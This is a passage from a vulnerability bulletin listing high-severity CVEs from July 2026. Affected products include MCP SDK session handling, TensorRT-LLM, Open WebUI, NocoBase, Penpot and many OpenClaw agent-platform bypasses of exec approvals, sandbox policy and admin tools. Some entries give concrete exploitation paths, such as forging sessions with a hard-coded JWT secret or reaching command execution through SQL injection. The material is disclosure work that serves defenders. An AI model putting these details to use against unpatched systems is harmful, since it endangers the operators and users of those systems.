|-----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Mitchell Bennis--Simple File List                               | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Mitchell Bennis Simple File List simple-file-list allows Reflected XSS.This issue affects Simple File List: from n/a through <= 6.3.8.                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57382</a> |
| modelcontextprotocol--python-sdk                                | The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to 1.27.2, the SSE and stateful Streamable HTTP transports mcp.server.sse.SseServerTransport and mcp.server.streamable_http_manager.StreamableHTTPSessionManager route requests to existing sessions using only the session_id query parameter or Mcp-Session-Id header without verifying the authenticated principal that created the session, allowing a different bearer-token-authenticated client with a known session ID to inject JSON-RPC messages into that session. This issue is fixed in version 1.27.2.                                          | 2026-07-15 | 7.1        | <a href="#">CVE-2026-52869</a> |
| modelcontextprotocol--python-sdk                                | The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). From 1.23.0 until 1.27.2, default handlers installed by server.experimental.enable_tasks() for tasks/list, tasks/get, tasks/result, and tasks/cancel operate only on task identifiers without recording the session that created each task, allowing any connected client to enumerate, read results from, consume messages for, or cancel other clients' tasks. This issue is fixed in version 1.27.2.                                                                                                                                                             | 2026-07-15 | 7.6        | <a href="#">CVE-2026-52870</a> |
| MohibShaikh--clawvet                                            | clawvet self-hosted API server (apps/api) before 0.7.5 hard-codes a fallback JWT secret ('clawvet-dev-secret-change-me') in auth.ts and ships it as the default in .env.example. Because GET /api/v1/scans returns scan records containing userId values without authentication, a remote unauthenticated attacker can harvest a victim's userId, forge a valid HS256 cg_session cookie offline using the known secret, and call GET /api/v1/auth/me to obtain the victim's email address, subscription plan, and secret apiKey. The published clawvet npm package (CLI only) is not affected.                                                                              | 2026-07-17 | 9.1        | <a href="#">CVE-2026-62241</a> |
| mwtcmi--frogman                                                 | Frogman provides headless PBX control through MCP and HTTP API. Prior to 1.6.2, fm_dialplan_apply accepted template parameters including greeting, dest, url, extension, code, and file, and Tools/DialplanApply.php wrote Dialplan/Templates.php output to extensions_custom.conf while only Dialplan/TemplateBase.php:38-42 sanitized contextName(), allowing a PERM_WRITE caller using confirm:true to inject arbitrary Asterisk directives such as System(), Set(SHELL(...)), Goto, or Macro. This issue is fixed in version 1.6.2.                                                                                                                                     | 2026-07-16 | 9.9        | <a href="#">CVE-2026-46512</a> |
| mwtcmi--frogman                                                 | Frogman provides headless PBX control through MCP and HTTP API. Prior to 1.6.2, Frogman stored API tokens generated by Tools/CreateApiToken.php:33-36 as raw bin2hex(random_bytes(32)) strings in oc_api_tokens, and Frogman.class.php:78 authenticated the X-Frogman-Token header by comparing it with the stored raw value, allowing database read access to recover reusable active tokens at their assigned permission level, including admin. This issue is fixed in version 1.6.2.                                                                                                                                                                                    | 2026-07-16 | 7.4        | <a href="#">CVE-2026-46513</a> |
| NASA--Core Flight System (cFS) Health & Safety (HS) Application | A vulnerability exists in the Health & Safety (HS) application of NASA's Core Flight System (cFS). The flaw allows the application to crash via segmentation fault when processing a routine Housekeeping Telemetry request, leading to denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-16 | 7.5        | <a href="#">CVE-2026-15352</a> |
| Netcad Software Inc.--NetGIS                                    | Improper restriction of XML external entity reference vulnerability in Netcad Software Inc. NetGIS allows Serialized Data External Linking. This issue affects NetGIS: from 5.0.66 before 7.2.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-17 | 7.5        | <a href="#">CVE-2026-8396</a>  |
| netty--netty                                                    | Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final. | 2026-07-17 | 7.5        | <a href="#">CVE-2026-44891</a> |
| newpanjing--simpleui                                            | A vulnerability was found in newpanjing simpleui 2026.01.13. This affects the function self.get_action of the file simpleui/admin.py of the component AjaxAdmin AJAX Endpoint. Performing a manipulation results in missing authentication. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                             | 2026-07-19 | 7.3        | <a href="#">CVE-2026-16210</a> |

# High Vulnerabilities

| Primary Vendor -- Product       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Nexcess--Event Tickets          | Missing Authorization vulnerability in Nexcess Event Tickets event-tickets allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Event Tickets: from n/a through <= 5.28.5.                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57705</a> |
| nocobase--nocobase              | NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[latestMsgReceiveTimestamp][\$lt] value was inserted into a Sequelize.literal() template string without escaping or parameter binding, allowing a signed-up authenticated user to run stacked PostgreSQL statements and potentially execute commands with COPY ... TO PROGRAM. This vulnerability is fixed in 2.0.61. | 2026-07-15 | 10         | <a href="#">CVE-2026-52887</a> |
| NooTheme--Jobmonster            | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NooTheme Jobmonster noo-jobmonster allows Reflected XSS.This issue affects Jobmonster: from n/a through <= 4.8.5.                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57368</a> |
| NVIDIA--TensorRT                | NVIDIA TensorRT for contains a vulnerability where an attacker might cause an improper validation of array index. A successful exploit of this vulnerability might lead to code execution.                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-14 | 7.8        | <a href="#">CVE-2026-24238</a> |
| NVIDIA--TensorRT                | NVIDIA TensorRT contains a vulnerability where an attacker might cause a heap-based buffer overflow. A successful exploit of this vulnerability might lead to code execution.                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-24268</a> |
| NVIDIA--TensorRT                | NVIDIA TensorRT contains a vulnerability where an attacker might cause an overflow to a heap-based buffer. A successful exploit of this vulnerability might lead to code execution.                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-24272</a> |
| NVIDIA--TensorRT-LLM            | NVIDIA TensorRT-LLM for Linux contains a vulnerability in the restricted unpickler used for model weight deserialization, where a local, unauthenticated attacker could cause deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.                                                                                                                                                                                                      | 2026-07-14 | 8.4        | <a href="#">CVE-2026-24233</a> |
| NVIDIA--TensorRT-LLM            | NVIDIA TensorRT-LLM for Linux contains a vulnerability in the disaggregated orchestrator component, where an attacker could read, write, or delete internal cluster state by sending requests to the FastAPI server. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service.                                                                                                                                                                                                                         | 2026-07-14 | 7.3        | <a href="#">CVE-2026-24229</a> |
| NVIDIA--TensorRT-LLM            | NVIDIA TensorRT-LLM for any platform contains a vulnerability in tensor deserialization, where an attacker could cause a heap based buffer overflow. A successful exploit of this vulnerability might lead to information disclosure, data tampering, or denial of service.                                                                                                                                                                                                                                                                                          | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47471</a> |
| NVIDIA--TensorRT-LLM            | NVIDIA TensorRT-LLM contains a vulnerability in its inter-process communication layer where an attacker with local same-user access could cause deserialization. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, and denial of service.                                                                                                                                                                                                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-47472</a> |
| NVIDIA--TensorRT-LLM            | NVIDIA TensorRT-LLM contains a vulnerability where an attacker could cause a write-what-where condition. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 7.4        | <a href="#">CVE-2026-47473</a> |
| NVIDIA--Triton Inference Server | NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause uncontrolled resource consumption. A successful exploit of this vulnerability might lead to denial of service.                                                                                                                                                                                                                                                                                                                                                         | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47476</a> |
| NVIDIA--Triton Inference Server | NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause a stack-based buffer overflow. A successful exploit of this vulnerability might lead to denial of service.                                                                                                                                                                                                                                                                                                                                                             | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47477</a> |
| NVIDIA--Triton Inference Server | NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause the use of an expired file descriptor. A successful exploit of this vulnerability might lead to denial of service.                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47478</a> |
| NVIDIA--Triton Inference Server | NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause uncontrolled resource consumption. A successful exploit of this vulnerability might lead to denial of service.                                                                                                                                                                                                                                                                                                                                                         | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47479</a> |
| NVIDIA--Triton Inference Server | NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause an uncaught exception. A successful exploit of this vulnerability might lead to denial of service.                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47480</a> |
| NVIDIA--Triton Inference Server | NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause missing release of memory after effective lifetime. A successful exploit of this vulnerability might lead to denial of service.                                                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47482</a> |
| open-webui--open-webui          | open-webui before 0.3.14 contains a cross-origin resource sharing misconfiguration allowing arbitrary origins with allow_origins=* and authenticated requests to the /api/v1/functions endpoint. Attackers can execute arbitrary code                                                                                                                                                                                                                                                                                                                                | 2026-07-15 | 8.3        | <a href="#">CVE-2026-56400</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | on the openwebui instance by crafting malicious cross-site requests from attacker-controlled websites when an admin user visits them.                                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| open-webui--open-webui    | Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover. | 2026-07-15 | 7.3        | <a href="#">CVE-2026-56398</a> |
| open5gs--open5gs          | In Open5GS through version 2.7.7 a pre-authentication heap out-of-bounds read in the AMF NAS 5GS mobile-identity handler may result in subscriber-wide denial of service.                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 8.6        | <a href="#">CVE-2026-15720</a> |
| openclaw--feishu          | OpenClaw Feishu tools (npm package @openclaw/feishu) in versions <= 2026.6.6 could ignore per-account disablement. A lower-trust caller or a configured input path could perform actions that should have required a stronger authorization or policy check, resulting in unauthorized operations. The issue is fixed in version 2026.6.9. Impact depends on the operator's configuration and whether lower-trust input can reach the affected feature.                                                                                                                       | 2026-07-13 | 8.1        | <a href="#">CVE-2026-62187</a> |
| openclaw--feishu          | OpenClaw @openclaw/feishu versions 2026.6.6 and earlier contain an incorrect authorization vulnerability in which the Feishu permission tools could ignore per-account disablement settings. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could perform actions that should have required a stronger authorization or policy check. The issue is fixed in version 2026.6.9.                                                                                                                                              | 2026-07-13 | 8.1        | <a href="#">CVE-2026-62188</a> |
| OpenClaw--OpenClaw        | OpenClaw versions before 2026.6.9 contain an authorization bypass vulnerability in the flock wrapper that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can leverage configured input paths to bypass durable exec approval binding and perform unauthorized operations when the affected feature is enabled.                                                                                                                                                                                                       | 2026-07-13 | 8.8        | <a href="#">CVE-2026-62190</a> |
| OpenClaw--OpenClaw        | OpenClaw versions 2026.6.6 before 2026.6.9 contain an authorization bypass vulnerability in Discord guild actions that allows lower-trust callers to perform actions requiring stronger authorization checks. Attackers can exploit misconfigured input paths to skip cross-provider requester authorization and execute restricted operations.                                                                                                                                                                                                                               | 2026-07-13 | 8.1        | <a href="#">CVE-2026-62192</a> |
| OpenClaw--OpenClaw        | OpenClaw versions 2026.5.20 before 2026.6.9 contain a privilege escalation vulnerability in plugin install commands that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can exploit misconfigured input paths or enabled features to escalate privileges and perform unauthorized actions when the feature is reachable.                                                                                                                                                                                             | 2026-07-13 | 8.8        | <a href="#">CVE-2026-62194</a> |
| OpenClaw--OpenClaw        | OpenClaw versions 2026.5.20 before 2026.6.6 contain an authorization bypass vulnerability in the MCP loopback feature that allows lower-trust callers to execute owner-only tools. Attackers can bypass authorization checks through configured input paths to execute or persist actions beyond their intended permissions.                                                                                                                                                                                                                                                  | 2026-07-13 | 8.3        | <a href="#">CVE-2026-62195</a> |
| OpenClaw--OpenClaw        | OpenClaw versions 2026.3.22 before 2026.6.6 contain an authorization bypass vulnerability where WhatsApp group IDs can satisfy elevated sender allowlists. Attackers with lower-trust access can perform actions requiring stronger authorization by leveraging group ID validation in the affected feature.                                                                                                                                                                                                                                                                  | 2026-07-13 | 8.3        | <a href="#">CVE-2026-62196</a> |
| OpenClaw--OpenClaw        | OpenClaw before 2026.6.6 contains a policy bypass vulnerability in browser CDP discovery that accepts blocked WebSocket URLs. Attackers with lower-trust access can reach network destinations that should have been blocked by OpenClaw policy when the affected feature is enabled.                                                                                                                                                                                                                                                                                         | 2026-07-13 | 8.5        | <a href="#">CVE-2026-62197</a> |
| OpenClaw--OpenClaw        | OpenClaw versions before 2026.6.6 contain a flaw in host exec environment filtering that can miss interpreter startup variables. When the affected feature is enabled and reachable, a lower-trust caller or configured input path can supply crafted environment variables to execute or persist actions beyond the caller's intended authorization.                                                                                                                                                                                                                         | 2026-07-13 | 8.8        | <a href="#">CVE-2026-62199</a> |
| OpenClaw--OpenClaw        | OpenClaw versions before 2026.6.6 contain a flaw in host exec environment filtering that could allow Git ext transport to be abused. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization.                                                                                                                                                                                                                                                           | 2026-07-13 | 8.8        | <a href="#">CVE-2026-62200</a> |
| OpenClaw--OpenClaw        | OpenClaw versions 2026.6.1 before 2026.6.9 contain a privilege escalation vulnerability in isolated cron jobs that allows lower-trust callers to regain denied execution tools. Attackers can execute or persist actions beyond their intended authorization by leveraging misconfigured input paths in the affected cron feature.                                                                                                                                                                                                                                            | 2026-07-17 | 8.8        | <a href="#">CVE-2026-62202</a> |



# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| OpenClaw--<br>OpenClaw    | OpenClaw versions before 2026.6.6 contain an environment variable filtering vulnerability in host exec that fails to properly sanitize rustup startup variables. Attackers with lower-trust caller access or configured input paths can execute or persist actions beyond their intended authorization level.                                                                           | 2026-07-17 | 8.8        | <a href="#">CVE-2026-62203</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw versions before 2026.6.5 contain an authentication bypass vulnerability that allows lower-trust callers to reach admin-scoped tools. Attackers can perform actions requiring stronger authorization by exploiting insufficient policy checks on configured input paths.                                                                                                        | 2026-07-17 | 8.8        | <a href="#">CVE-2026-62207</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw versions 2026.5.10-beta.1 before 2026.6.5 contain an authorization bypass in the ClickClaw agent-mode dispatch feature, which could ignore the toolsAllow policy check. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could perform actions that should have required a stronger authorization or policy check.            | 2026-07-17 | 8.1        | <a href="#">CVE-2026-62209</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw versions before 2026.6.5 contain an authentication bypass vulnerability in HTTP Canvas responses that allows lower-trust callers to forge trusted A2UI actions. Attackers can perform actions requiring stronger authorization by submitting crafted requests through configured input paths, bypassing intended policy checks.                                                | 2026-07-17 | 8          | <a href="#">CVE-2026-62215</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw 2026.5.14-beta.1 before 2026.5.27 contain an authorization flaw in the QQBot exec approvals feature. When the feature is enabled and reachable, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization, allowing non-allowlisted senders to perform unauthorized operations.                                | 2026-07-17 | 8.8        | <a href="#">CVE-2026-62217</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw 2026.1.20 before 2026.5.27 contain an authorization bypass vulnerability in the device.pair.approve feature that allows lower-trust callers to bypass role-management checks. Attackers can perform actions requiring stronger authorization by reaching the affected feature through configured input paths.                                                                  | 2026-07-17 | 8.8        | <a href="#">CVE-2026-62218</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw before 2026.5.18 contain an authorization bypass vulnerability in the device-pair approval feature that allows lower-trust callers to execute actions beyond their intended authorization. Attackers can exploit misconfigured input paths to execute or persist unauthorized actions when the affected feature is enabled and reachable.                                      | 2026-07-17 | 8.8        | <a href="#">CVE-2026-62223</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw 2026.3.28 before 2026.5.19 contain an authorization bypass vulnerability in the browser act route that fails to properly validate current-tab URL checks. Attackers with lower-trust access or configured input paths can perform actions requiring stronger authorization or policy checks.                                                                                   | 2026-07-17 | 8.5        | <a href="#">CVE-2026-62226</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw before 2026.6.5 contain an authorization bypass vulnerability in node exec approvals that allows lower-trust callers to execute actions beyond their intended authorization by using different gateway and node environments. Attackers can exploit mismatched environment configurations to persist or execute actions that exceed the caller's approved permissions.         | 2026-07-17 | 8.8        | <a href="#">CVE-2026-62228</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw before 2026.5.18 contain an authorization bypass vulnerability in exec allowlist glob matching that allows lower-trust callers to execute actions beyond intended authorization. Attackers can craft input paths that traverse the allowlist glob patterns to execute or persist unauthorized actions when the affected feature is enabled.                                    | 2026-07-17 | 8.8        | <a href="#">CVE-2026-62229</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw versions before 2026.6.8 contain an authorization bypass vulnerability in OpenAI-compatible HTTP model overrides that allows lower-trust callers to perform actions requiring stronger authorization checks. Attackers can exploit misconfigured input paths to bypass admin authorization policies and execute restricted operations.                                         | 2026-07-13 | 7.6        | <a href="#">CVE-2026-62186</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw versions before 2026.6.9 contain a symlink following vulnerability in the mirror sync feature that allows lower-trust callers to perform actions requiring stronger authorization. Attackers can exploit remote symlink parents to bypass policy checks and authorization boundaries when the feature is enabled and reachable.                                                | 2026-07-13 | 7.1        | <a href="#">CVE-2026-62189</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw versions 2026.6.6 before 2026.6.9 contain an authorization bypass vulnerability in message mutation handling that allows lower-trust callers to perform actions requiring stronger authorization checks. Attackers can exploit misconfigured input paths to skip requester authorization and execute privileged operations when the affected feature is enabled and reachable. | 2026-07-13 | 7.1        | <a href="#">CVE-2026-62191</a> |
| OpenClaw--<br>OpenClaw    | OpenClaw versions before 2026.6.6 contain a network policy bypass vulnerability in the sandbox exec-server that allows lower-trust callers to reach internal network destinations blocked by OpenClaw policy. Attackers can send HTTP requests                                                                                                                                          | 2026-07-17 | 7.7        | <a href="#">CVE-2026-62201</a> |



# High Vulnerabilities

| Primary Vendor -- Product      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                | through the exec-server to access network resources that should have been restricted by configured policies.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |            |            |                                |
| OpenClaw--<br>OpenClaw         | OpenClaw versions 2026.4.12-beta.1 before 2026.6.6 contain a missing-authorization vulnerability in the MS Teams message actions feature. When the affected feature is enabled and reachable, a lower-trust caller or a configured input path can perform actions that should have required a stronger authorization or policy check. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path. The issue is fixed in 2026.6.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-17 | 7.1        | <a href="#">CVE-2026-62205</a> |
| OpenClaw--<br>OpenClaw         | OpenClaw versions before 2026.6.9 contain a missing authorization vulnerability in Discord moderation actions. In affected versions, a lower-trust caller or configured input path could perform moderation actions that should have required a stronger authorization or policy check. Practical impact depends on the operator's configuration and whether lower-trust input can reach the affected path.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-17 | 7.1        | <a href="#">CVE-2026-62206</a> |
| OpenClaw--<br>OpenClaw         | OpenClaw before 2026.5.28 contains a race condition in the MS Teams safeFetch DNS rebinding check. When the affected feature is enabled and reachable, a lower-trust caller or configured input path could win a timing window between the DNS validation check and use, allowing actions that should have required a stronger authorization or policy check. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-17 | 7.1        | <a href="#">CVE-2026-62212</a> |
| OpenClaw--<br>OpenClaw         | OpenClaw 2026.2.12 before 2026.5.26 contain an authorization bypass vulnerability in the hooks allowedAgentIds validation. A lower-trust caller or configured input path can bypass agent ID restrictions by submitting blank agent IDs, allowing actions that should require stronger authorization or policy checks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-17 | 7.1        | <a href="#">CVE-2026-62219</a> |
| OpenClaw--<br>OpenClaw         | OpenClaw before 2026.5.22 contain a vulnerability in setup-mode discovery that allows loading of untrusted workspace plugins. Attackers with lower-trust caller access or control over configured input paths can execute or persist actions beyond their intended authorization level.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-17 | 7.8        | <a href="#">CVE-2026-62222</a> |
| OpenClaw--<br>OpenClaw         | OpenClaw 2026.4.14 before 2026.5.26 contain a server-side request forgery vulnerability in browser snapshot routes that fail to validate post-navigation destinations. Attackers with lower-trust access can bypass OpenClaw policy checks to reach network destinations that should have been blocked.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-17 | 7.7        | <a href="#">CVE-2026-62227</a> |
| openplcproject--<br>OpenPLC_v3 | OpenPLC_v3 contains a heap-based buffer overflow in the getData() function in webserver/core/modbus_master.cpp. getData() reads characters between two delimiters into a caller-supplied buffer with no size parameter and no bounds check. In parseConfig() the function is invoked with the 100-byte heap-allocated MB_device.dev_name field. An authenticated attacker with access to the OpenPLC web interface can send a crafted HTTP POST to the /modbus endpoint with an oversized device_name value; the value is persisted to mbconfig.cfg and parsed on load, overflowing dev_name and overwriting adjacent struct fields (protocol at offset 108, dev_address at offset 109, ip_port at offset 210). A 200-byte payload writes 100 bytes past the allocation. The result is heap corruption leading to runtime crash and denial of service of the PLC process control loop, with attacker-controlled overwrite of adjacent configuration fields. The upstream repository was archived on 2026-04-04 and no fix is expected; the vendor has confirmed the issue does not affect OpenPLC Runtime v4. | 2026-07-18 | 8.8        | <a href="#">CVE-2026-11826</a> |
| OpenSUSE--libsolv              | A flaw was found in libsolv. A stack-based buffer overflow vulnerability exists in the PGP verification component due to incorrect length handling when copying EdDSA 's' MPI into a stack buffer. A remote attacker could craft a malicious Ed25519 PGP signature with mismatched MPI lengths. Processing this crafted signature could lead to a denial of service in automated package or repository processing workflows.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-16 | 7.5        | <a href="#">CVE-2026-48863</a> |
| openwrt--luci-app-banip        | luci-app-banip contains a log parsing vulnerability where the awk-based parser extracts the first IPv4 address from log lines regardless of field position, allowing attackers to inject arbitrary IPs via attacker-controlled fields like usernames. An unauthenticated remote attacker can inject an IP address into the login username field, causing banIP to block the wrong target while the real attacker remains unblocked.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 7.5        | <a href="#">CVE-2026-62184</a> |
| openwrt--openwrt               | OpenWrt is a Linux operating system targeting embedded devices. Prior to 25.12.5, odhcpd writes a DHCPv6 client FQDN option 39 hostname into /tmp/odhcpd.leases through src/statefiles.c statefiles_write_state6() and statefiles_write_state4() without escaping, allowing newline injection of forged lease lines that LuCI rpcd-mod-luci getDHCPLeases displays through httdocs/luci-static/resources/view/status/include/40_dhcp.js and httdocs/luci-static/resources/luci.js dom.append as live HTML in the Active DHCPv6 Leases admin page. This vulnerability is fixed in 25.12.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-15 | 9.6        | <a href="#">CVE-2026-62948</a> |

# High Vulnerabilities

| Primary Vendor -- Product  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|----------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| oras-project--oras-go      | oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, registry/remote/repository.go in blobStore.completePushAfterInitialPost follows a registry-controlled Location header during monolithic blob upload and reuses the Authorization header from the initial POST request for the subsequent PUT request, allowing a malicious registry to return a cross-host Location and receive the caller's credentials at an attacker-controlled endpoint. This issue is fixed in version 2.6.1.                                                                                                                                                             | 2026-07-17 | 7.5        | <a href="#">CVE-2026-50151</a> |
| oras-project--oras-go      | oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utls.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2. | 2026-07-17 | 7.1        | <a href="#">CVE-2026-50163</a> |
| penpot--penpot             | Penpot is an open-source design tool for design and code collaboration. Prior to 2.14.5, Penpot exposed teams_invitations.clj invitation tokens from create-team-invitations, embedded an existing profile id in auth.clj prepare-register-profile, and had auth.clj register-profile issue a session based on the invitation email match without password verification, allowing a registered user to take over any non-blocked profile. This issue is fixed in version 2.14.5.                                                                                                                                                                                   | 2026-07-15 | 9.9        | <a href="#">CVE-2026-44986</a> |
| penpot--penpot             | Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.                                                                                                                                                                                                                                                       | 2026-07-15 | 8.8        | <a href="#">CVE-2026-45805</a> |
| penpot--penpot             | Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot's remote image import passed the user-controlled url from frontend/src/app/main/data/workspace/media.cljs into the backend RPC method :create-file-media-object-from-url in backend/src/app/rpc/commands/media.clj, where media/download-image in backend/src/app/media.clj used the shared HTTP client without destination filtering, allowing an authenticated file editor to reach internal-only endpoints. This issue is fixed in version 2.15.0.                                                                                                              | 2026-07-15 | 7.7        | <a href="#">CVE-2026-45806</a> |
